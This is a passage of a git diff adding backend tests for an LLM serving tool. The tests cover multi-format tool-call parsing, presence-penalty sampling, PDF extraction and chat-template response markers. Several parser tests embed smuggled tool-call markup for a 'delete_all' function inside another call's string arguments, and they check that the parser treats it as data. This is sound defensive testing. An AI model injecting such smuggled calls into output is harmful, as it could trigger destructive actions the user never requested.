+    assert [c["function"]["name"] for c in calls_d] == ["web_search"], calls_d
+
+
+def test_chained_bare_json_owns_kimi_marker_in_later_call():
+    # Document order: two ;-chained bare-JSON calls own the turn even when the second's argument quotes a complete Kimi snippet.
+    kimi = (
+        "<|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|>"
+    )
+    two = (
+        '{"name":"lookup","parameters":{"q":"first"}};'
+        '{"name":"lookup","parameters":{"note":"' + kimi + '"}}'
+    )
+    calls = parse_tool_calls_from_text(two, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls] == ["lookup", "lookup"], calls
+
+    # Reverse control: prose followed by a real Kimi block still parses.
+    real = "Let me check.\n<|tool_calls_section_begin|>" + kimi + "<|tool_calls_section_end|>"
+    calls_k = parse_tool_calls_from_text(real, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_k] == ["delete_all"], calls_k
+
+    # A closed leading Mistral call preceding a trailing Kimi example owns the
+    # turn too (same closed-call-precedes-marker rule).
+    mistral = '[TOOL_CALLS]lookup{"q":"first"} then example ' + kimi
+    calls_m = parse_tool_calls_from_text(mistral, enabled_tool_names = {"lookup", "delete_all"})
+    assert [c["function"]["name"] for c in calls_m] == ["lookup"], calls_m
+
+
+def test_nested_gemma_values_keep_commas_and_parens():
+    # Nested wrapper-less Gemma mappings/arrays use the top-level delimiter rules, so nested arguments are not split.
+    calls = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2),lang:py}}", enabled_tool_names = {"python"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["python"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {
+        "opts": {"code": "print(1,2)", "lang": "py"}
+    }
+
+    arr = parse_tool_calls_from_text(
+        "call:python{opts:[1,2,{a:f(1,2)}]}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(arr[0]["function"]["arguments"]) == {"opts": [1, 2, {"a": "f(1,2)"}]}
+
+    prose_comma = parse_tool_calls_from_text(
+        "call:python{opts:{note:hello, world}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(prose_comma[0]["function"]["arguments"]) == {"opts": {"note": "hello, world"}}
+
+    quoted = parse_tool_calls_from_text(
+        'call:python{opts:{q:say "a, b" now,n:3}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(quoted[0]["function"]["arguments"]) == {
+        "opts": {"q": 'say "a, b" now', "n": 3}
+    }
+
+    # Controls: nested quoted values and multi-key mappings are unchanged, and
+    # a truncated nested value still falls back to the raw string.
+    nested_q = parse_tool_calls_from_text(
+        'call:python{loc:{city:"New York"}}', enabled_tool_names = {"python"}
+    )
+    assert json.loads(nested_q[0]["function"]["arguments"]) == {"loc": {"city": "New York"}}
+    multi = parse_tool_calls_from_text(
+        "call:python{opts:{a:1,b:2},n:3}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(multi[0]["function"]["arguments"]) == {"opts": {"a": 1, "b": 2}, "n": 3}
+    trunc = parse_tool_calls_from_text(
+        "call:python{opts:{code:print(1,2}}", enabled_tool_names = {"python"}
+    )
+    assert json.loads(trunc[0]["function"]["arguments"]) == {"opts": "{code:print(1,2}"}
+
+
+def test_multi_gemma_calls_own_turn_over_signal_in_later_call():
+    # Document order: when the first enabled Gemma call closes before the first foreign signal, the leading call still owns the turn.
+    en = {"get_time", "web_search", "delete_all"}
+    both = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"docs say [TOOL_CALLS]delete_all{}"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in both] == ["get_time", "web_search"], both
+    assert json.loads(both[1]["function"]["arguments"]) == {
+        "query": "docs say [TOOL_CALLS]delete_all{}"
+    }
+
+    # XML and Kimi markers in the later call's strings stay data too.
+    xml = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <tool_call>delete_all</tool_call>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml] == ["get_time", "web_search"], xml
+    kimi = parse_tool_calls_from_text(
+        'call:get_time{} call:web_search{query:"see <|tool_call_begin|>'
+        'functions.delete_all:0<|tool_call_argument_begin|>{}<|tool_call_end|>"}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in kimi] == ["get_time", "web_search"], kimi
+
+    # A trailing prose example after the closed leading call defers the same way.
+    prose = parse_tool_calls_from_text(
+        "call:get_time{} Example: [TOOL_CALLS]delete_all{}", enabled_tool_names = en
+    )
+    assert [c["function"]["name"] for c in prose] == ["get_time"], prose
+
+
+def test_multi_gemma_ownership_reverse_controls():
+    # A real leading Mistral/XML call with a trailing Gemma example keeps the leading call; a signal before every Gemma call keeps normal order.
+    en = {"get_time", "web_search", "delete_all"}
+    mistral = parse_tool_calls_from_text(
+        '[TOOL_CALLS][{"name":"delete_all","arguments":{}}] Example: call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in mistral] == ["delete_all"], mistral
+    xml_first = parse_tool_calls_from_text(
+        '<tool_call>{"name":"delete_all","arguments":{}}</tool_call> call:web_search{query:cats}',
+        enabled_tool_names = en,
+    )
+    assert [c["function"]["name"] for c in xml_first] == ["delete_all"], xml_first
+    agnostic = parse_tool_calls_from_text(
+        'call:foo{} <tool_call>{"name":"delete_all","arguments":{}}</tool_call>'
+    )
+    assert [c["function"]["name"] for c in agnostic] == ["delete_all"], agnostic
+
+
+def test_disabled_leading_bare_json_does_not_hide_later_marker_call():
+    # A leading bare-JSON object with a NOT-enabled name is prose: the real DeepSeek/Kimi call after it still parses.
+    kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q":"cats"}<|tool_call_end|><|tool_calls_section_end|>'
+    )
+    calls = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + kimi, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"q": "cats"}
+
+    deepseek = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>web_search\n"
+        '```json\n{"q":"cats"}\n```<｜tool▁call▁end｜><｜tool▁calls▁end｜>'
+    )
+    calls_ds = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{}} ' + deepseek, enabled_tool_names = {"web_search"}
+    )
+    assert [c["function"]["name"] for c in calls_ds] == ["web_search"], calls_ds
+
+
+def test_disabled_leading_bare_json_ownership_controls():
+    kimi_delete = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.delete_all:0"
+        "<|tool_call_argument_begin|>{}<|tool_call_end|><|tool_calls_section_end|>"
+    )
+    # ENABLED leading name still owns the turn (document order, the shipped
+    # inside-or-after rule).
+    owns = parse_tool_calls_from_text(
+        '{"name":"web_search","parameters":{"q":"first"}} ' + kimi_delete,
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert [c["function"]["name"] for c in owns] == ["web_search"], owns
+    # A marker INSIDE the disabled object's own strings stays data: the span
+    # is prose, the tail holds no call, so nothing parses.
+    inside = parse_tool_calls_from_text(
+        '{"name":"draft","parameters":{"note":"see <|tool_call_begin|>functions.delete_all:0'
+        '<|tool_call_argument_begin|>{}<|tool_call_end|>"}}\nsome trailing prose',
+        enabled_tool_names = {"web_search", "delete_all"},
+    )
+    assert inside == [], inside
+    # Nameless leading JSON answers keep recursing to the real call.
+    nameless = parse_tool_calls_from_text(
+        '{"answer":42} ' + kimi_delete, enabled_tool_names = {"delete_all"}
+    )
+    assert [c["function"]["name"] for c in nameless] == ["delete_all"], nameless
+    # Name-agnostic path unchanged: the leading object is the call.
+    agnostic = parse_tool_calls_from_text('{"name":"draft","parameters":{}} ' + kimi_delete)
+    assert [c["function"]["name"] for c in agnostic] == ["draft"], agnostic
+
+
+def test_leading_json_answer_with_prose_keeps_quoted_gemma_snippet_as_data():
+    # A LEADING JSON answer followed by prose is data (same contract as the whole-content JSON exemption).
+    obj = '{"summary":"use call:web_search{query:cats} to search"}\nHope that helps!'
+    assert parse_tool_calls_from_text(obj, enabled_tool_names = {"web_search"}) == []
+    arr = '["use call:web_search{query:cats} to search"]\nHope that helps!'
+    assert parse_tool_calls_from_text(arr, enabled_tool_names = {"web_search"}) == []
+    assert strip_tool_markup(obj, enabled_tool_names = {"web_search"}) == obj
+
+    # A REAL call in the tail after the answer still parses (and strips).
+    tail = '{"summary":"done"}\ncall:web_search{query:cats}'
+    calls = parse_tool_calls_from_text(tail, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls] == ["web_search"], calls
+
+    # A leading brace run that is NOT valid JSON gets no exemption.
+    not_json = "{not json} call:web_search{query:cats}"
+    calls_nj = parse_tool_calls_from_text(not_json, enabled_tool_names = {"web_search"})
+    assert [c["function"]["name"] for c in calls_nj] == ["web_search"], calls_nj
+
+
+def test_glm_heal_bounds_unclosed_value_at_tool_call_close():
+    # Auto-Heal: a value missing only its </arg_value> before the block's </tool_call> heals to the
+    # value text, not the close tag and everything after it swallowed into the argument.
+    one = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>NYC</tool_call>"
+    calls = parse_tool_calls_from_text(one, allow_incomplete = True)
+    assert [c["function"]["name"] for c in calls] == ["get_weather"], calls
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Trailing prose after the close stays out of the healed value.
+    two = one + "\nLet me check that for you."
+    calls_two = parse_tool_calls_from_text(two, allow_incomplete = True)
+    assert json.loads(calls_two[0]["function"]["arguments"]) == {"city": "NYC"}
+
+    # Strict mode still rejects the unclosed value outright.
+    assert parse_tool_calls_from_text(one, allow_incomplete = False) == []
+
+    # A value truncated at EOF (no structural tag follows) keeps the partial heal, and a proper
+    # close whose value holds a literal </tool_call> is untouched by the bounding.
+    eof = "<tool_call>get_weather<arg_key>city</arg_key><arg_value>New York Ci"
+    calls_eof = parse_tool_calls_from_text(eof, allow_incomplete = True)
+    assert json.loads(calls_eof[0]["function"]["arguments"]) == {"city": "New York Ci"}
+    lit = (
+        "<tool_call>get_weather<arg_key>city</arg_key>"
+        '<arg_value>print("</tool_call>")</arg_value></tool_call>'
+    )
+    calls_lit = parse_tool_calls_from_text(lit, allow_incomplete = True)
+    assert json.loads(calls_lit[0]["function"]["arguments"]) == {"city": 'print("</tool_call>")'}
+
+
+def test_prose_mentioning_ds_kimi_markers_survives_final_strip():
+    # False-alarm literals: the trailing strip arms require a call-shaped
+    # lookahead, so an answer documenting a marker keeps its tail.
+    from core.inference.tool_call_parser import strip_tool_markup
+
+    for text in [
+        "The Kimi marker <|tool_calls_section_begin|> starts a section.",
+        "DeepSeek uses <｜tool▁calls▁begin｜> to open calls.",
+        "See <|tool_call_begin|> in the docs.",
+    ]:
+        assert strip_tool_markup(text, final = True) == text
+
+    # Truncated REAL calls still drop, and a bare marker at EOF is a fragment.
+    truncated_kimi = (
+        "<|tool_calls_section_begin|><|tool_call_begin|>functions.web_search:0"
+        '<|tool_call_argument_begin|>{"q'
+    )
+    assert strip_tool_markup(truncated_kimi, final = True) == ""
+    assert strip_tool_markup("prefix <|tool_calls_section_begin|>", final = True) == "prefix"
diff --git a/studio/backend/tests/test_presence_penalty.py b/studio/backend/tests/test_presence_penalty.py
new file mode 100644
index 0000000000..030ddb6011
--- /dev/null
+++ b/studio/backend/tests/test_presence_penalty.py
@@ -0,0 +1,252 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""Presence-penalty parity between the GGUF path and the safetensors/MLX paths.
+
+The safetensors path historically dropped ``presence_penalty``, so the SAME model
+looked worse served as safetensors. These tests pin the processor semantics
+(subtract once per distinct completion token, prompt excluded, presence not
+frequency, zero a no-op, negatives raise) plus a param-propagation regression
+over route -> orchestrator cmd -> worker gen_kwargs.
+"""
+
+import threading
+
+import pytest
+import torch
+
+from core.inference.presence_penalty import (
+    apply_presence_penalty,
+    _make_presence_penalty_processor,
+)
+
+
+def test_seen_token_gets_exactly_minus_penalty_unseen_unchanged():
+    input_ids = torch.tensor([[0, 1, 3]])  # prompt [0, 1], completion [3]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 2)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+    for tok in (0, 1, 2, 4):
+        assert out[0, tok].item() == pytest.approx(0.0)
+
+
+def test_multiplicity_ignored_presence_not_frequency():
+    # Token 3 emitted three times -> still a single -penalty (presence, not freq).
+    input_ids = torch.tensor([[0, 3, 3, 3]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 2.0, prompt_len = 1)
+    assert out[0, 3].item() == pytest.approx(-2.0)
+
+
+def test_negative_penalty_raises_seen_logits():
+    input_ids = torch.tensor([[0, 2]])
+    scores = torch.zeros(1, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = -0.5, prompt_len = 1)
+    assert out[0, 2].item() == pytest.approx(0.5)
+
+
+def test_prompt_tokens_excluded():
+    # Token 7 is prompt-only (untouched); token 4 in the completion is penalized.
+    input_ids = torch.tensor([[7, 4, 4]])
+    scores = torch.zeros(1, 8)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 7].item() == pytest.approx(0.0)
+    assert out[0, 4].item() == pytest.approx(-1.0)
+
+
+def test_batch_rows_isolated():
+    input_ids = torch.tensor([[0, 1], [0, 2]])  # row completions [1] and [2]
+    scores = torch.zeros(2, 4)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out[0, 1].item() == pytest.approx(-1.0)
+    assert out[0, 2].item() == pytest.approx(0.0)
+    assert out[1, 2].item() == pytest.approx(-1.0)
+    assert out[1, 1].item() == pytest.approx(0.0)
+
+
+def test_zero_penalty_is_noop():
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 0.0, prompt_len = 1)
+    assert torch.equal(out, original)
+
+
+def test_empty_completion_is_noop():
+    # prompt_len covers the whole sequence -> nothing generated yet.
+    input_ids = torch.tensor([[0, 1, 2]])
+    scores = torch.randn(1, 5)
+    original = scores.clone()
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.5, prompt_len = 3)
+    assert torch.equal(out, original)
+
+
+def test_out_of_vocab_id_ignored():
+    # A generated id >= vocab_size (defensive) must not index out of bounds.
+    input_ids = torch.tensor([[0, 9]])
+    scores = torch.zeros(1, 5)  # vocab 5, token 9 is out of range
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_negative_generated_id_ignored():
+    # A negative generated id (defensive) must be dropped, not wrap to scores[-1].
+    input_ids = torch.tensor([[0, -1]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    # Nothing penalized; in particular the last row (the numpy/torch wrap target
+    # for id -1) is untouched.
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_mixed_oob_negative_and_valid_ids_only_in_range_penalized():
+    # Completion mixes a valid id (1), an out-of-vocab id (9 >= vocab 5) and a
+    # negative id (-1). Only the in-range distinct id is penalized; OOB/negative
+    # ids are ignored with no crash and no wrong-index wrap. This fails under the
+    # old ``seen[seen < vocab_size]`` filter (id -1 wraps to the last row) and
+    # passes only with the both-ends bound.
+    input_ids = torch.tensor([[0, 1, 9, -1, 1]])  # prompt [0], completion [1, 9, -1, 1]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    expected = torch.zeros(1, 5)
+    expected[0, 1] = -1.0  # once per distinct in-range id (multiplicity ignored)
+    assert torch.equal(out, expected)
+    assert out[0, 4].item() == pytest.approx(0.0)  # id -1 did not wrap to the last row
+
+
+def test_dtype_and_device_preserved():
+    input_ids = torch.tensor([[0, 1]])
+    scores = torch.zeros(1, 4, dtype = torch.float16)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out.dtype == torch.float16
+    assert out.device == scores.device
+
+
+def test_processor_none_when_zero():
+    assert _make_presence_penalty_processor(0.0, prompt_len = 0) is None
+
+
+def test_processor_applies_penalty():
+    proc = _make_presence_penalty_processor(1.5, prompt_len = 2)
+    assert proc is not None
+    input_ids = torch.tensor([[0, 1, 3]])
+    scores = torch.zeros(1, 5)
+    out = proc(input_ids, scores)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+
+
+def test_processor_composes_with_other_processors():
+    # LogitsProcessorList must run our processor alongside a pre-existing one.
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _AddToTokenZero(LogitsProcessor):
+        def __call__(self, input_ids, scores):
+            scores[:, 0] = scores[:, 0] + 100.0
+            return scores
+
+    presence = _make_presence_penalty_processor(1.0, prompt_len = 1)
+    combined = LogitsProcessorList([_AddToTokenZero(), *presence])
+    input_ids = torch.tensor([[5, 2]])  # completion = [2]
+    scores = torch.zeros(1, 6)
+    out = combined(input_ids, scores)
+    assert out[0, 0].item() == pytest.approx(100.0)  # other processor ran
+    assert out[0, 2].item() == pytest.approx(-1.0)  # presence ran
+
+
+def test_mlx_presence_penalty_callable():
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.5)
+    # First call = prompt only (latches prompt_len, penalizes nothing).
+    prompt = mx.array([10, 11])
+    logits0 = mx.zeros((1, 20))
+    out0 = proc(prompt, logits0)
+    assert float(out0[0, 10]) == pytest.approx(0.0)
+    # Second call: one completion token (5) appended -> penalized once.
+    seq = mx.array([10, 11, 5])
+    logits1 = mx.zeros((1, 20))
+    out1 = proc(seq, logits1)
+    assert float(out1[0, 5]) == pytest.approx(-1.5)
+    assert float(out1[0, 10]) == pytest.approx(0.0)  # prompt token untouched
+
+
+def test_mlx_presence_penalty_bounds_out_of_range_ids():
+    # Documents (and, on Apple Silicon CI, enforces) the intended MLX bound:
+    # out-of-vocab and negative completion ids must be ignored. MLX does no
+    # bounds checking and OOB indexing is undefined behavior (crash / memory
+    # corruption), so the processor routes stray ids to a discarded scratch slot
+    # and penalizes only in-range distinct ids -- matching the torch filter
+    # seen[(seen >= 0) & (seen < vocab)]. Skips off arm64 macOS where MLX is absent.
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.0)
+    proc(mx.array([10, 11]), mx.zeros((1, 8)))  # first call latches prompt_len = 2
+    # Completion appends a valid id (3), an out-of-vocab id (99 >= vocab 8) and a
+    # negative id (-1); only the in-range id is penalized and nothing crashes.
+    seq = mx.array([10, 11, 3, 99, -1])
+    out = proc(seq, mx.zeros((1, 8)))
+    assert float(out[0, 3]) == pytest.approx(-1.0)
+    for tok in range(8):
+        if tok != 3:
+            assert float(out[0, tok]) == pytest.approx(0.0)
+
+
+# Param propagation: route payload -> orchestrator cmd -> worker gen_kwargs
+_SAMPLING = {
+    "temperature": 0.7,
+    "top_p": 0.8,
+    "top_k": 20,
+    "min_p": 0.05,
+    "repetition_penalty": 1.1,
+    "presence_penalty": 1.5,
+}
+
+
+def test_orchestrator_cmd_carries_all_sampling_params():
+    from core.inference.orchestrator import InferenceOrchestrator
+
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    cmd = o._build_generate_cmd(
+        "req1",
+        None,
+        messages = [{"role": "user", "content": "hi"}],
+        max_new_tokens = 128,
+        **_SAMPLING,
+    )
+    for key, val in _SAMPLING.items():
+        assert cmd[key] == val, f"{key} dropped/altered in orchestrator cmd"
+
+
+def test_worker_forwards_all_sampling_params_to_backend():
+    from core.inference.worker import _handle_generate
+
+    class _RecordingBackend:
+        last_generation_stats = None
+
+        def __init__(self):
+            self.received = None
+
+        def generate_chat_response(self, **kwargs):
+            self.received = kwargs
+            return iter(())  # empty stream -> loop exits, gen_done is sent
+
+    class _FakeQueue:
+        def __init__(self):
+            self.items = []
+
+        def put(self, item):
+            self.items.append(item)
+
+    cmd = {
+        "type": "generate",
+        "request_id": "r",
+        "messages": [{"role": "user", "content": "hi"}],
+        "max_new_tokens": 128,
+        **_SAMPLING,
+    }
+    backend = _RecordingBackend()
+    _handle_generate(backend, cmd, _FakeQueue(), threading.Event())
+
+    assert backend.received is not None
+    for key, val in _SAMPLING.items():
+        assert backend.received[key] == val, f"{key} dropped/altered in worker gen_kwargs"
diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py
index 14ab0efe2e..3e259f6bd0 100644
--- a/studio/backend/tests/test_rag_parsing.py
+++ b/studio/backend/tests/test_rag_parsing.py
@@ -54,6 +54,56 @@ def test_pdf_markdown_off_uses_plain_text(tmp_path, monkeypatch):
     assert "#" not in text and "|" not in text  # plain text path emits no Markdown markup
 
 
+def test_pdf_bytes_use_same_extraction_path(tmp_path, monkeypatch):
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", False)
+    pdf = tmp_path / "table.pdf"
+    _table_pdf(pdf)
+    from_file = parsers.parse(str(pdf))
+    from_bytes, total_pages = parsers.parse_pdf_bytes(pdf.read_bytes())
+    assert [page.text for page in from_bytes] == [page.text for page in from_file]
+    assert total_pages == len(from_file)
+
+
+def test_pdf_bytes_limit_pages_before_extraction(monkeypatch):
+    import pymupdf
+
+    from core.rag import config, parsers
+
+    monkeypatch.setattr(config, "PDF_MARKDOWN", False)
+    doc = pymupdf.open()
+    for marker in ("page one", "page two", "page three"):
+        page = doc.new_page()
+        page.insert_text((40, 40), marker)
+    data = doc.tobytes()
+    doc.close()
+
+    pages, total_pages = parsers.parse_pdf_bytes(data, max_pages = 2)
+    assert len(pages) == 2
+    assert "page two" in pages[-1].text
+    assert total_pages == 3  # full count, not the 2 extracted
+
+
+def test_pdf_markdown_receives_page_limit(monkeypatch):
+    from core.rag import parsers
+
+    captured = {}
+
+    class _FakePymupdf4llm:
+        @staticmethod
+        def to_markdown(doc, **kwargs):
+            captured.update(kwargs)
+            return [{"text": "page"} for _ in kwargs["pages"]]
+
+    class _Doc:
+        page_count = 100
+
+    monkeypatch.setitem(__import__("sys").modules, "pymupdf4llm", _FakePymupdf4llm)
+    assert parsers._pdf_markdown(_Doc(), range(2)) == ["page", "page"]
+    assert captured == {"page_chunks": True, "show_progress": False, "pages": [0, 1]}
+
+
 def test_pdf_markdown_passes_only_supported_legacy_kwargs(monkeypatch):
     # The pinned PyMuPDF4LLM legacy path ignores unknown kwargs; do not pass the
     # newer layout-only OCR knobs or Markdown extraction silently loses policy control.
diff --git a/studio/backend/tests/test_response_template_markers.py b/studio/backend/tests/test_response_template_markers.py
new file mode 100644
index 0000000000..8c813e62f2
--- /dev/null
+++ b/studio/backend/tests/test_response_template_markers.py
@@ -0,0 +1,216 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""TEMPLATE_TO_RESPONSES_MAPPER markers must match what the templates render.
+
+The manual instruction/response markers are the fallback for
+train_on_completions when auto-detection is unavailable, so a marker that
+never matches the rendered chat template masks every assistant token and the
+run dies on the all-labels-masked safety net. Six template families shipped
+such markers:
+
+  mistral           - "[INST] " / " [/INST]": the surrounding spaces fold into
+                      the neighbouring tokens ("[INST]" is a single special
+                      token in Mistral v0.3), so the padded strings never match.
+  llama             - same space folding, plus llama-2 tokenizes [INST] after
+                      <s> as bare "[" on transformers 5.x while the standalone
+                      encoding gives "▁[", so the marker must anchor on <s>.
+  starling          - trailing space after "GPT4 Correct Assistant:" folds
+                      into the next content token ("▁Hello").
+  glm               - "[gMASK]<sop>" renders once at text start, never before
+                      later user turns; "<think>" is generation scaffolding
+                      that non-final turns render as a lone "</think>".
+  qwen3-thinking    - "<think>" is stripped from non-final assistant turns
+                      (Qwen3-Thinking-2507) or never rendered (QwQ).
+  zephyr            - role tags are plain text, and SentencePiece tokenizes
+                      "<|assistant|>" differently at text start than after
+                      "</s>\\n" mid-conversation; the markers need the leading
+                      newline anchor to tokenize like a real turn boundary.
+
+Literal assertions run everywhere; the token-level masking checks need the
+representative tokenizers plus unsloth_zoo and skip when either is
+unavailable (offline CI).
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# model_mappings is dependency-free: load it directly so these tests run
+# without the studio venv / package import side effects.
+_MM_PATH = Path(_BACKEND_DIR) / "utils" / "datasets" / "model_mappings.py"
+_mm_spec = importlib.util.spec_from_file_location("_marker_test_mm", _MM_PATH)
+model_mappings = importlib.util.module_from_spec(_mm_spec)
+_mm_spec.loader.exec_module(model_mappings)
+
+T2R = model_mappings.TEMPLATE_TO_RESPONSES_MAPPER
+
+
+# ── Fixed entries: markers derived from what each representative tokenizer
+#    actually renders (see PR for the token-level derivation). ──
+EXPECTED_FIXED = {
+    "mistral": {"instruction": "[INST]", "response": "[/INST]"},
+    "llama": {"instruction": "<s>[INST]", "response": "[/INST]"},
+    "starling": {"instruction": "GPT4 Correct User:", "response": "GPT4 Correct Assistant:"},
+    "glm": {"instruction": "<|user|>", "response": "<|assistant|>"},
+    "qwen3-thinking": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"},
+    "zephyr": {"instruction": "\n<|user|>\n", "response": "\n<|assistant|>\n"},
+}
+
+# Spot-pin some known-good entries so a refactor cannot silently change them.
+EXPECTED_UNCHANGED = {
+    "qwen3": {"instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n"},
+    "llama-3.1": {
+        "instruction": "<|start_header_id|>user<|end_header_id|>\n\n",
+        "response": "<|start_header_id|>assistant<|end_header_id|>\n\n",
+    },
+    "phi-4": {
+        "instruction": "<|im_start|>user<|im_sep|>",
+        "response": "<|im_start|>assistant<|im_sep|>",
+    },
+    "gemma-3": {"instruction": "<start_of_turn>user\n", "response": "<start_of_turn>model\n"},
+    "gpt-oss": {
+        "instruction": "<|start|>user<|message|>",
+        "response": "<|start|>assistant<|channel|>final<|message|>",
+    },
+}
+
+
+@pytest.mark.parametrize("template", sorted(EXPECTED_FIXED))
+def test_fixed_marker_literals(template):
+    assert T2R[template] == EXPECTED_FIXED[template]
+
+
+@pytest.mark.parametrize("template", sorted(EXPECTED_UNCHANGED))
+def test_unchanged_marker_literals(template):
+    assert T2R[template] == EXPECTED_UNCHANGED[template]
+
+
+def test_no_marker_is_empty_or_whitespace():
+    for template, parts in T2R.items():
+        assert parts["instruction"].strip(), template
+        assert parts["response"].strip(), template
+
+
+# ── Token-level checks: markers must select exactly the assistant turns on a
+#    rendered two-turn fixture, and the final EOS label must never be -100. ──
+
+REPRESENTATIVES = {
+    "mistral": ["unsloth/mistral-7b-instruct-v0.3"],
+    "llama": ["unsloth/llama-2-7b-chat"],
+    "starling": ["unsloth/Starling-LM-7B-beta"],
+    "glm": ["unsloth/GLM-4.7-Flash"],
+    "qwen3-thinking": ["unsloth/Qwen3-4B-Thinking-2507", "Qwen/QwQ-32B"],
+    "zephyr": ["unsloth/zephyr-sft"],
+}
+
+FIXTURE = [
+    {"role": "user", "content": "zebra alpha question one?"},
+    {"role": "assistant", "content": "grape reply number one."},
+    {"role": "user", "content": "zebra beta question two?"},
+    {"role": "assistant", "content": "grape reply number two."},
+]
+
+
+def _load_tokenizer(repo):
+    try:
+        from transformers import AutoTokenizer
+    except Exception as e:  # pragma: no cover
+        pytest.skip(f"transformers unavailable: {e}")
+    try:
+        return AutoTokenizer.from_pretrained(repo)
+    except OSError as e:
+        pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}")
+    except Exception:
+        # Tokenizer class newer than this transformers (e.g. GLM-4.7's
+        # TokenizersBackend): build directly from tokenizer.json.
+        try:
+            import json as _json
+            from huggingface_hub import hf_hub_download
+            from transformers import PreTrainedTokenizerFast
+
+            with open(hf_hub_download(repo, "tokenizer_config.json"), encoding = "utf-8") as f:
+                cfg = _json.load(f)
+            tok_file = hf_hub_download(repo, "tokenizer.json")
+
+            def _tokval(v):
+                return v["content"] if isinstance(v, dict) else v
+
+            return PreTrainedTokenizerFast(
+                tokenizer_file = tok_file,
+                chat_template = cfg.get("chat_template"),
+                **{
+                    k: _tokval(cfg[k])
+                    for k in ("bos_token", "eos_token", "pad_token", "unk_token")
+                    if cfg.get(k) is not None
+                },
+            )
+        except Exception as e:
+            pytest.skip(f"tokenizer {repo} unavailable (offline?): {e}")
+
+
+def _train_on_responses_only():
+    try:
+        from unsloth_zoo.dataset_utils import train_on_responses_only
+    except Exception as e:
+        pytest.skip(f"unsloth_zoo unavailable: {e}")
+    return train_on_responses_only
+
+
+@pytest.mark.parametrize(
+    "template,repo",
+    [(t, r) for t, repos in sorted(REPRESENTATIVES.items()) for r in repos],
+)
+def test_fixed_markers_token_level(template, repo):
+    tor = _train_on_responses_only()
+    tok = _load_tokenizer(repo)
+    parts = T2R[template]
+
+    msgs = [{"role": "system", "content": "You are a terse assistant."}] + FIXTURE
+    try:
+        ids = tok.apply_chat_template(msgs, tokenize = True, add_generation_prompt = False)
+        if hasattr(ids, "keys"):
+            ids = ids["input_ids"]  # transformers 5.x returns a BatchEncoding
+    except Exception:
